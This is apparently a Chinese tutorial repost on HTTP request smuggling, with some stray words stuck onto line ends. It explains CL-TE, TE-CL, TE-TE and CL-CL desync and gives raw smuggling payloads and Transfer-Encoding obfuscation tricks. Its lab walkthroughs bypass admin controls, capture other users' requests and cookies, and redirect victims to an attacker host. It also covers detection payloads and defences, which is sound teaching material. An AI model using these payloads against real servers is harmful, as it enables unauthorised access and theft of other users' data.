浅析HTTP走私攻击
SeeBug-协议层的攻击——HTTP请求走私
HTTP 走私漏洞分析css
攻击者经过构造特殊结构的请求,干扰网站服务器对请求的处理,从而实现攻击目标html
注:如下文章中的前端指的是(代理服务器、CDN等)前端
Persistent Connection:
持久链接,Connection: keep-alive。
好比打开一个网页,咱们能够在浏览器控制端看到浏览器发送了许多请求(HTML、图片、css、js),而咱们知道每一次发送HTTP请求须要通过 TCP 三次握手,发送完毕又有四次挥手。当单个用户同时须要发送多个请求时,这一点消耗或许微不足道,但当有许多用户同时发起请求的时候,便会给服务器形成不少没必要要的消耗。为了解决这一问题,在 HTTP 协议中便新加了 Connection: keep-alive 这一个请求头,当有些请求带着 Connection: close 的话,通讯完成以后,服务器才会中断 TCP 链接。如此便解决了额外消耗的问题,可是服务器端处理请求的方式仍旧是请求一次响应一次,而后再处理下一个请求,当一个请求发生阻塞时,便会影响后续全部请求,为此 Pipelining 异步技术解决了这一个问题web
Pipelining:
能一次处理多个请求,客户端没必要等到上一个请求的响应后再发送下一个请求。服务器那边一次能够接收多个请求,须要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端
数据库
可是这样也会带来一个问题————如何区分每个请求才不会致使混淆————前端与后端必须短期内对每一个数据包的边界大小达成一致。不然,攻击者就能够构造发送一个特殊的数据包发起攻击。那么如何界定数据包边界呢?
有两种方式: Content-Length 、 Transfer-Encoding.后端
Content-Length:
CL,请求体或者响应体长度(十进制)。字符算一个,CRLF(一个换行)算两个。一般若是 Content-Length 的值比实际长度小,会形成内容被截断;若是比实体内容大,会形成 pending,也就是等待直到超时。浏览器
Transfer-Encoding:
TE,其只有一个值 chunked (分块编码)。分块编码至关简单,在头部加入 Transfer-Encoding: chunked 以后,就表明这个报文采用了分块编码。这时,报文中的实体须要改成用一系列分块来传输。每一个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的 CRLF(\r\n),也不包括分块数据结尾的 CRLF,可是包括分块中的换行,值算2。最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。
例如:缓存
POST /langdetect HTTP/1.1 Host: fanyi.baidu.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Content-Type: application/x-www-form-urlencoded Content-Length: 93 Transfer-Encoding: chunked 2;逗号后面是注释 qu 3;3表示后面的字符长度为3(十六进制),不算CRLF(\r\n回车换行) ery 1 = 2 ja 2 ck 0;0表示实体结束
注:根据 RFC 标准,若是接收到的消息同时具备传输编码标头字段和内容长度标头字段,则必须忽略内容长度标头字段,固然也有不遵循标准的例外。安全
根据标准,当接受到如 Transfer-Encoding: chunked, error 有多个值或者不识别的值时的时候,应该返回 400 错误。可是有一些方法能够绕过
(致使既不返回400错误,又可使 Transfer-Encoding 标头失效):服务器
Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked GET / HTTP/1.1 Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked
HTTP规范提供了两种不一样方式来指定请求的结束位置,它们是 Content-Length 标头和 Transfer-Encoding 标头。当前/后端对数据包边界的校验不一致时,
使得后端将一个恶意的残缺请求须要和下一个正常的请求进行拼接,从而吞并了其余用户的正常请求。如图:
那么前/后端校验不一致有那些状况呢呢呢呢?😵
CL-TE:
前端: Content-Length,后端: Transfer-Encoding第一次请求:
第二次请求:
原理:前端服务器经过 Content-Length 界定数据包边界,检测到数据包无异常经过,而后传输到后端服务器,后端服务器经过 Transfer-Encoding 界定数据包边界,致使 R0oKi3 字段被识别为下一个数据包的内容,而被送到了缓冲区,因为内容不完整,会等待后续数据,当正经常使用户的请求传输到后端时,与以前滞留的恶意数据进行了拼接,组成了 R0OKI3POST ,为不可识别的请求方式,致使403。
TE-CL:
前端: Transfer-Encoding,后端: Content-LengthBURP实验环境
记得关 burp 的 Update Content-Length 功能
第一次请求:
第二次请求:
原理:跟 CL-TE 类似
TE-TE:
前端: Transfer-Encoding,后端: Transfer-EncodingBURP实验环境
记得关 burp 的 Update Content-Length 功能
第一次请求:
第二次请求:
原理:前端服务器经过第一个 Transfer-Encoding 界定数据包边界,检测到数据包无异常经过,而后传输到后端服务器,后端服务器经过第二个 Transfer-Encoding 界定数据包边界,结果为一个不可识别的标头,而后便退而求其次使用 Content-Length 校验,结果就跟 TE-CL 形式无异了。一样如果前端服务器校验第二个,后端服务器校验第一个,那结果也就跟 CL-TE 形式无异了。
CL-CL:
前端: Content-Length,后端: Content-Length在RFC7230规范中,规定当服务器收到的请求中包含两个 Content-Length,并且二者的值不一样时,须要返回400错误。但不免会有服务器不严格遵照该规范。假设前端和后端服务器都收到该类请求,且不报错,其中前端服务器按照第一个Content-Length的值对请求进行为数据包定界,然后端服务器则按照第二个Content-Length的值进行处理。
这时攻击者能够恶意构造一个特殊的请求:
POST / HTTP/1.1 Host: example.com Content-Length: 11 Content-Length: 5 123 R0oKi3
原理:前端服务器获取到的数据包的长度11,由此界定数据包边界,检测到数据包无异常经过,而后传输到后端,然后端服务器获取到的数据包长度为5。当读取完前5个字符后,后端服务器认为该请求已经读取完毕。便去识别下一个数据包,而此时的缓冲区中还剩下 R0oKi3,它被认为是下一个请求的一部分,因为内容不完整,会等待后续数据,当正经常使用户的请求传输到后端时,与以前滞留的恶意数据进行了拼接,攻击便在此展开。
CL 不为 0 的 GET 请求:
假设前端服务器容许 GET 请求携带请求体,然后端服务器不容许 GET 请求携带请求体,它会直接忽略掉 GET 请求中的 Content-Length 头,不进行处理。这就有可能致使请求走私。
好比发送下面请求:
GET / HTTP/1.1 Host: example.com Content-Length: 72 POST /comment HTTP/1.1 Host: example.com Content-Length:666 msg=aaa
前端服务器经过读取Content-Length,确认这是个完整的请求,而后转发到后端服务器,然后端服务器由于不对 Content-Length 进行判断,因而在后端服务器中该请求就变成了两个:
第一个:
GET / HTTP/1.1 Host: example.com Content-Length: 72
第二个:
POST /comment HTTP/1.1 Host: example.com Content-Length:666 msg=aaa
而第二个为 POST 请求,假定其为发表评论的数据包,再假定后端服务器是依靠 Content-Length 来界定数据包的,那么因为数据包长度为 666,那么便会等待其余数据,等到正经常使用户的请求包到来,便会与其拼接,变成 msg=aaa……………… ,而后会将显示在评论页面,也就会致使用户的 Cookie 等信息的泄露。
BURP实验环境
坑点:有时候实体数据里须要添加一些别的字段或者空行,否则会出一些很奇怪的错误,因此我在弄的时候参照了seebug 404Team
实验要求:获取 admin 身份并删除 carlos 用户
第一步:实验提示咱们 admin 管理面版在 /admin 目录下,直接访问,显示:
第二步:利用 CL-TE 请求走私绕过前端服务器安全控制
坑点:数据实体必定要多一些其余字段或者多两行空白,否则报 Invalid request 请求不合法
0 GET /admin HTTP/1.1 # 如果多了两行空白,那么 foo: bar 字段能够不要
提示 admin 要从 localhost 登录
改包后多发几回获得
改包删除用户
再次请求 /admin 页面,发现 carlos 用户已不存在
坑点:这里再次请求的时候记得多加两个空行改变一下 Content-Length 的值,否则会显示不出来,神奇 BUG?
原理:网站进行身份验证的处理是在前端服务器,当直接访问 /admin 目录时,因为经过不了前端验证,因此会返回 Blocked。利用请求走私,即可以绕过前端验证,直接在后端产生一个访问 /admin 目录的请求包,当发起下一个请求时,响应的数据包对应的是走私的请求包,如此即可以查看 admin 面板的页面数据,从而达到绕过前端身份验证删除用户的目的。
实验过程与上一个实验相仿,不过要记得关 burp 的 Update Content-Length
这里:不知道为何必定要加 Content-Length 和其余的一些词,不加的话会显示 Invalid request 请求不合法 ?????????
摘自seebug 404Team
在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,而后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,好比:
描述TLS链接所使用的协议和密码
包含用户IP地址的XFF头
用户的会话令牌ID
总之,若是不能获取到代理服务器添加或者重写的字段,咱们走私过去的请求就不能被后端服务器进行正确的处理。那么咱们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:找一个可以将请求参数的值输出到响应中的POST请求
把该POST请求中,找到的这个特殊的参数放在消息的最后面
而后走私这一个请求,而后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。
第一步:找一个可以将请求参数的值输出到响应中的POST请求
第二步:利用 CL-TE 走私截获正常数据包经前端服务器修改后发送过来的内容,并输出在响应包中
这一步的原理:因为咱们走私构造的请求包为:
POST / HTTP/1.1 Content-Length: 100 search=66666
从这里能够看到,Content-Length 的值为 100,而咱们的实体数据仅为 search=66666,远没有 100,因而后端服务器便会进入等待状态,当下一个正常请求到来时,会与以前滞留的请求进行拼接,从而致使走私的请求包吞并了下一个请求的部分或所有内容,并返回走私请求的响应。
第三步:在走私的请求上添加这个字段,而后走私一个删除用户的请求。
查看 /admin 页面,发现用户已被删除
构造特殊请求包,造成一个走私请求
查看评论
原理:(跟 获取前端服务器重写请求字段 类似)
咱们走私构造的请求包为:
POST /post/comment HTTP/1.1 Host: aca41ff41e89d28f800d3e82001a00c8.web-security-academy.net Content-Length: 900 Cookie: session=XPbI3LJQJCoBcQOvsLdfyCNbOKqsGudy csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa
能够看到 Content-Length 值为 900,而咱们的实体数据仅为 csrf=Nk6OsCxcNIUdfnrpQuy9N3WO0zLLcAWU&postId=4&name=aaa&email=aaa%40aaa.com&website=&comment=aaaa,远不足900,因而后端服务器便会进入等待状态,当下一个正常请求到来时,会与以前滞留的请求进行拼接,从而致使走私的请求包吞并了下一个请求的部分或所有内容,而且因为是构造发起评论的请求包,因此数据会存入数据库,从而打开页面便会看到其余用户的请求包内容,获取其敏感数据,因为环境只有我一我的在玩,因此只能获取到本身的敏感数据。
注意:必定要将 comment=aaaa 放在最后
首先反射型 XSS 在文章页面
构造请求走私 payload
致使无交互 XSS
许多应用程序执行从一个 URL 到另外一个URL的重定向,会未来自请求的 Host 标头的主机名放入重定向URL。一个示例是 Apache 和 IIS Web 服务器的默认行为,在该行为中,对不带斜杠的文件夹的请求将收到对包含该斜杠的文件夹的重定向:
请求 GET /home HTTP/1.1 Host: normal-website.com 响应 HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/
一般,此行为被认为是无害的,可是能够在走私请求攻击中利用它来将其余用户重定向到外部域。例如:
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X
走私的请求将触发重定向到攻击者的网站,这将影响后端服务器处理的下一个用户的请求。例如:
正常请求 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com 恶意响应 HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/
若用户请求的是一个 JavaScript 文件,该文件是由网站上的页面导入的。攻击者能够经过在响应中返回本身的 JavaScript 文件来彻底破坏受害者用户。
4.缓存投毒
通常来讲,前端服务器出于性能缘由,会对后端服务器的一些资源进行缓存,若是存在HTTP请求走私漏洞,则有可能使用重定向来进行缓存投毒,从而影响后续访问的全部用户。
检测请求走私漏洞的一种明显方法是发出一个模棱两可的请求,而后发出一个正常的“受害者”请求,而后观察后者是否收到意外响应。可是,这极易受到干扰。若是另外一个用户的请求在咱们的受害者请求以前命中了中毒的套接字,那么他们将得到损坏的响应,咱们将不会发现该漏洞。这意味着在流量很大的实时站点上,若是不利用过程当中的大量真实用户,就很难证实存在请求走私行为。即便在没有其余流量的站点上,各类终止链接的应用程序也会形成误报。
若是为 CL-TE,可用如下 payload 检测
POST / HTTP/1.1 Host: example.com Content-Length: 4 Transfer-Encoding: chunked 1 R x
因为较短的Content-Length,前端将仅转发到 R 丢弃后续的 X,然后端将在等待下一个块大小时超时。这将致使明显的时间延迟。
若是两个服务器都处于同步状态(TE-TE 或 CL-CL),则该请求将被前端拒绝,或者被两个系统无害处理。最后,若是以相反的方式发生同步(TE-CL),则因为无效的块大小’X',前端将拒绝该消息,而不会将其转发到后端。这样能够防止后端套接字中毒。
咱们可使用如下请求安全地检测 TE-CL 取消同步:
POST / HTTP/1.1 Host: example.com Content-Length: 6 Transfer-Encoding: chunked 0 X
- 禁用后端链接的重用,以便每一个后端请求经过单独的网络链接发送。
- 使用HTTP / 2进行后端链接,由于此协议可防止对请求之间的边界产生歧义。
- 前端服务器和后端服务器使用彻底相同的Web服务器软件,以便它们就请求之间的界限达成一致。
以上的措施有的不能从根本上解决问题,并且有着不少不足,就好比禁用代理服务器和后端服务器之间的 TCP 链接重用,会增大后端服务器的压力。使用 HTTP/2 在如今的网络条件下根本没法推广使用,哪怕支持 HTTP/2 协议的服务器也会兼容 HTTP/1.1。从本质上来讲,HTTP 请求走私出现的缘由并非协议设计的问题,而是不一样服务器实现的问题,我的认为最好的解决方案就是严格的实现 RFC7230-7235 中所规定的的标准,但这也是最难作到的。
HTTP 参数污染也能算是一种请求走私 HTTP参数污染